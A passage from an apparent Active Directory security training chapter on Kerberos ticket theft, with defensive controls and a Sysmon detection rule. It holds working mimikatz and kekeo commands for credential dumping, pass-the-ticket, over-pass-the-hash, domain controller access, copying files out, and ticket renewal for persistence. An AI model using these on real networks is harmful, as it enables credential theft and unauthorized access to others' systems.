$ export KRB5CCNAME=/tmp/alice.ccache
$ ticketConverter.py alice@krbtgt-CORP.LOCAL.kirbi alice.ccache

# Or on Windows attacker workstation
C:\> kekeo.exe
kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi
* File: 'C:\tickets\alice_tgt.kirbi': OK

Step 5: Access Resources

C:\> dir \\fileserver.corp.local\finance$
 Volume in drive \\fileserver.corp.local\finance$
 ...
C:\> copy \\fileserver.corp.local\finance$\confidential_data.xlsx C:\exfil\

Result: Attacker uses alice's stolen ticket to access file shares without needing her password.

Scenario 2: Credential-Based TGT Request (Over-Pass-The-Hash)

Context: Attacker dumps credentials, requests TGT to access resources.

Attack Flow:

Step 1: Credential Dumping

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

... 
msv :

  * Username : bob
  * Domain   : CORP
  * NTLM     : 64f12cddaa88057e06a81b54e73b949b

Step 2: Request TGT with Hash

kekeo # tgt::ask /user:bob /rc4:64f12cddaa88057e06a81b54e73b949b /domain:corp.local /ptt
Realm        : corp.local (CORP)
User         : bob (bob)
CName        : bob    [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/corp.local      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt): fc525c9683e8fe067095ba2ddc971889
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
  > Ticket in file 'TGT_bob@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'

Step 3: Request Service Tickets

# LSASS automatically requests TGS using the imported TGT
C:\> net use \\dc01.corp.local\C$
The command completed successfully.

C:\> dir \\dc01.corp.local\C$\Windows\NTDS
 ...
 ntds.dit

Result: Using only bob's NT hash, attacker gains full Kerberos access without cracking password.

Scenario 3: Persistent Access via Ticket Renewal

Context: Long-term access maintained by renewing stolen tickets.

Attack Flow:

Day 1: Initial Compromise

- Compromise system, extract admin TGT
- TGT valid for 10 hours, renewable for 7 days

Day 2-7: Maintain Access

# Every 8 hours (before 10-hour expiration)
kekeo # tgs::renew /tgt:admin_tgt.kirbi /ptt

Day 7: Maximum Renewal Reached

# renew-till deadline reached, ticket cannot be renewed further
# Request new TGT using stored credentials
kekeo # tgt::ask /user:admin /rc4:8a17fd6f96adb1e28a0f9e5b25a40f72 /domain:corp.local /ptt

Result: Attacker maintains access for weeks by renewing tickets and re-requesting when necessary, even if password changes would force new authentication (though hash would also change).

Defense and Detection Summary

Preventive Controls:

  1. LSA Protected Process Light (PPL)

    • Prevents unauthorized LSASS memory access
    • Blocks sekurlsa::tickets extraction
    • Requires Windows 8.1+, UEFI Secure Boot
  2. Credential Guard

    • Isolates credentials in VTL-1 container
    • Prevents ticket extraction from LSASS
    • Requires virtualization support
  3. Audit Policies

    • Enable "Audit Kerberos Authentication Service" (4768)
    • Enable "Audit Kerberos Service Ticket Operations" (4769, 4770)
    • Monitor for anomalies in ticket requests/renewals

Detective Controls:

  1. Sysmon Monitoring

    • Event ID 10: LSASS access (ticket extraction)
    • Event ID 3: Port 88 connections from non-LSASS (ticket requests)
    • Event ID 11: .kirbi file creation (ticket export)
  2. Security Event Log Analysis

    • Event ID 4768: TGT requests from unusual IPs/times
    • Event ID 4769: TGS requests with anomalous patterns
    • Event ID 4770: Ticket renewals outside normal behavior
  3. Behavioral Analytics

    • User authenticating from unexpected systems
    • Ticket usage patterns inconsistent with work schedule
    • Multiple users' tickets used from single system

Response Actions:

  1. Immediate Containment

    • Isolate compromised systems
    • Reset passwords for affected accounts (invalidates tickets)
    • Reset krbtgt account twice (invalidates all TGTs in domain)
  2. Forensic Analysis

    • Memory dump of compromised systems
    • Review Kerberos event logs
    • Correlate LSASS access with ticket usage
  3. Remediation

    • Deploy LSA PPL across environment
    • Implement Credential Guard on compatible systems
    • Review and restrict administrative privileges

Practical Exercises

Exercise 1: Ticket Extraction and Analysis

Objective: Extract and analyze Kerberos tickets from a compromised system.

Prerequisites:

  • Lab Windows 10 workstation (CLIENT01)
  • Domain user account (alice)
  • Mimikatz and Kekeo
  • ASN.1 editor or Rubeus

Steps:

  1. Log on as alice and generate tickets

    - Log into CLIENT01 as alice
    - Access file share: net use \\fileserver\share
    - Access web app: browse to http://intranet.corp.local
  2. List current session tickets

    kekeo # kerberos::list
    - Observe TGT and TGS tickets
    - Note encryption types, expiration times, flags
  3. Export tickets

    mimikatz # sekurlsa::tickets /export
    - Locate .kirbi files in current directory
    - Count number of tickets exported
  4. Analyze ticket structure

    powershell
    PS C:\> .\Rubeus.exe describe /ticket:0-602058-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi
    - Examine service name, encryption type, timestamps
    - Identify renewable vs. non-renewable tickets
  5. Export to Base64

    kekeo # base64 /out:true
    kekeo # kerberos::list /export
    - Copy Base64 output
    - Decode on Linux: echo "base64..." | base64 -d > ticket.kirbi

Questions:

  • How many tickets were extracted?
  • What encryption types are used?
  • Which tickets are renewable?
  • What is the maximum lifetime of the TGT?

Exercise 2: Pass-The-Ticket Attack

Objective: Demonstrate lateral movement using exported tickets.

Prerequisites:

  • Lab environment with CLIENT01 and CLIENT02
  • Domain user alice with access to shared resources
  • Mimikatz/Kekeo

Steps:

  1. Extract tickets on CLIENT01

    - Log on as alice to CLIENT01
    - Access \\fileserver\finance
    - Extract tickets: sekurlsa::tickets /export
  2. Transfer tickets to CLIENT02

    - Copy .kirbi files to USB or network share
    - Logon to CLIENT02 as different user (bob)
  3. Purge bob's tickets

    kekeo # kerberos::purge
    Ticket(s) purge for current session is OK
  4. Import alice's tickets

    kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi
    * File: 'C:\tickets\alice_tgt.kirbi': OK
  5. Access resources as alice

    C:\> whoami
    corp\bob
    
    C:\> dir \\fileserver\finance
    [Access granted with alice's ticket]
  6. Observe authentication context

    C:\> klist
    - Verify alice's TGT and TGS are cached
    - whoami still shows bob (local identity)
    - Network authentication uses alice's tickets

Questions:

  • Why does whoami show bob but network access uses alice's identity?
  • What happens when alice's ticket expires?
  • How would you detect this attack?

Exercise 3: Ticket Renewal and Monitoring

Objective: Practice ticket renewal and configure detection.

Prerequisites:

  • Domain controller with logging enabled
  • Sysmon installed on CLIENT01
  • SIEM or log aggregation tool

Steps:

  1. Request TGT with short lifetime

    kekeo # tgt::ask /user:testuser /password:Password123! /domain:corp.local /ptt
  2. Monitor ticket expiration

    kekeo # localtime
    kekeo # kerberos::list
    - Note EndTime
    - Wait 8 hours (or adjust system time for testing)
  3. Renew before expiration

    kekeo # kerberos::list /export
    kekeo # tgs::renew /tgt:testuser_tgt.kirbi /ptt
    - Verify new EndTime
  4. Review Event Logs

    - DC Security Log: Event ID 4768 (TGT request)
    - DC Security Log: Event ID 4770 (Ticket renewal)
    - Correlate IP, timestamps, user accounts
  5. Configure Sysmon Detection

    xml
    <FileCreate onmatch="include">
      <TargetFilename condition="end with">.kirbi</TargetFilename>
    </FileCreate>
    
    <NetworkConnect onmatch="include">
      <DestinationPort condition="is">88</DestinationPort>
      <Image condition="is not">C:\Windows\System32\lsass.exe</Image>
    </NetworkConnect>
  6. Test Detection

    - Request new TGT: tgt::ask
    - Export tickets: /export
    - Verify Sysmon Event ID 3 (port 88) and 11 (.kirbi creation)

Deliverable: SIEM rule detecting ticket operations with <10% false positive rate.

Summary

Kerberos ticket operations form the foundation for many sophisticated Active Directory attacks. The ability to list, export, import, renew, and request tickets enables attackers to move laterally, escalate privileges, and maintain persistent access without repeatedly authenticating with passwords.

Key Technical Points:

  1. Ticket Storage: Windows stores tickets in LSASS memory within logon sessions, requiring administrative access for extraction via sekurlsa::tickets but allowing current-session access via kerberos::list.

  2. KIRBI Format: Exported tickets use ASN.1 DER-encoded binary format, exportable to files (.kirbi) or Base64 strings to avoid disk artifacts.

  3. TGT Replacement: Each logon session maintains only one TGT; importing multiple TGTs causes replacement, while service tickets (TGS) are cumulative.

  4. Ticket Validity: LSASS validates ticket expiration on import, preventing use of expired tickets but accepting tickets with arbitrary future times (exploitable in Golden/Silver Ticket attacks).

  5. Renewal Mechanism: Tickets with renewable flag can be renewed before EndTime up to renew-till deadline, extending access without re-authentication.

  6. Direct Kerberos Requests: Tools like Kekeo can request TGTs directly from KDCs using credentials (password, NT hash, AES keys), bypassing LSASS and generating detectable network connections to port 88.

Operational Considerations:

For offensive practitioners, ticket operations enable:

  • Pass-The-Ticket attacks (immediate lateral movement)
  • Over-Pass-The-Hash (requesting Kerberos tickets with NTLM hashes)
  • Credential reuse across systems (export from one, import on another)
  • Persistent access through ticket renewal
  • Avoiding password authentication while maintaining network access

For defensive teams, protection requires:

  • LSA PPL deployment to prevent LSASS memory extraction
  • Sysmon monitoring for LSASS access, .kirbi file creation, non-LSASS port 88 connections
  • Kerberos event monitoring (Event IDs 4768, 4769, 4770) for anomalous patterns
  • Behavioral analytics detecting ticket usage inconsistent with user patterns
  • Password resets and krbtgt resets to invalidate stolen tickets

Strategic Importance:

Understanding Kerberos ticket operations is prerequisite to advanced attacks including Golden Tickets (forging TGTs), Silver Tickets (forging service tickets), Kerberoasting (cracking service account passwords), and delegation abuse (exploiting unconstrained/constrained delegation). The ticket-based nature of Kerberos means that credential theft has lasting impact—stolen tickets remain valid until expiration or password reset, enabling sustained unauthorized access even after initial compromise is remediated.

In the broader context of Active Directory security, tickets represent cached authentication tokens that, when compromised, grant immediate access without triggering password validation events. This makes ticket-based attacks particularly stealthy and difficult to detect without comprehensive logging and behavioral analysis. Organizations must implement defense-in-depth strategies combining preventive controls (LSA PPL, Credential Guard), detective controls (Sysmon, Security event monitoring), and incident response capabilities (rapid password/krbtgt resets) to effectively defend against Kerberos ticket manipulation attacks.


Previous Chapter: Chapter 24: Kerberos Overview

Next Chapter: Chapter 26: Pass-The-Ticket

Related Chapters: